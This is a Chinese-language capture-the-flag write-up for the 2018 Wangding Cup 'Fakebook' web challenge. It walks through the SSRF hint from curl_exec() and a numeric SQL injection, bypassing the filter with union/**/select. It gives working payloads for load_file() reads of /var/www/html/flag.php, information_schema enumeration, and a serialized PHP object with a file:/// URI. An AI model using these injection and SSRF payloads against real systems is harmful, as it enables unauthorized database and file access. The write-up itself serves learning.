[网鼎杯 2018]Fakebook1

首先点进来,随便注册一个账号试试,不过发现blog里面的内容一定要带 "." 目前不知道为什么,往下看
用工具扫描目录(?)
1.发现flag.php 可能存在于内网中,无法访问,路径为/var/www/html/flag.php
2.发现 robots.txt 访问,
有个user.php的备份文件

这里解释了为什么blog里面的内容一定要带 "."
不过这不重要,重要的是我们看到了这一条

get传参通过url,
发现了curl_exec()函数,应该是SSRF漏洞
此处我们用其中的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
再说回来,我们点进这个注册的账号

里面是我们注册时填写的信息
由于储存信息涉及到数据库,我们怀疑有sql注入点,测试一下


说明是数字型注入,发现union select被过滤,用union/**/select 绕过(?no=-1.....1,2,3,4) ,这是新学到的方法
之前的ununionion seselectlect好像用不了,发现回显位置在2,有四个字段

爆用户名发现用户居然是root权限,此处可以用
解法一:
有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
构造payload:....1,load_file('/var/www/html/flag.php'),3,4
然后查看页面源代码(我也不理解为什么不直接爆在2位置处?)

解法二(常规):
爆数据库名,表名
no=-1%20union/**/select%201,group_concat(table_name),3,4%20%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27
分别是fakebook,users
union/**/select%201,group_concat(column_name),3,4%20%20from%20information_schema.columns%20where%20table_name=%27users%27

flag 可能在data里面
union/**/select%201,group_concat(data),3,4%20%20from%20fakebook.users

这里我没有搞懂为什么最后实在4位置爆flag,但是利用到序列化和file伪协议,可以构造出payload
union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
看源代码,解码base64,也可以得到flag

等主播旅游回来再搞清楚为什么吧,嘿嘿
总结:
可以通过常规方法结合序列化,file伪协议等等,实现sql注入(昨晚居然梦到这个东西了,,),这道题让我对sql有了更深入的理解
也可以利用root用户的权限,直接查看flag
更多推荐



所有评论(0)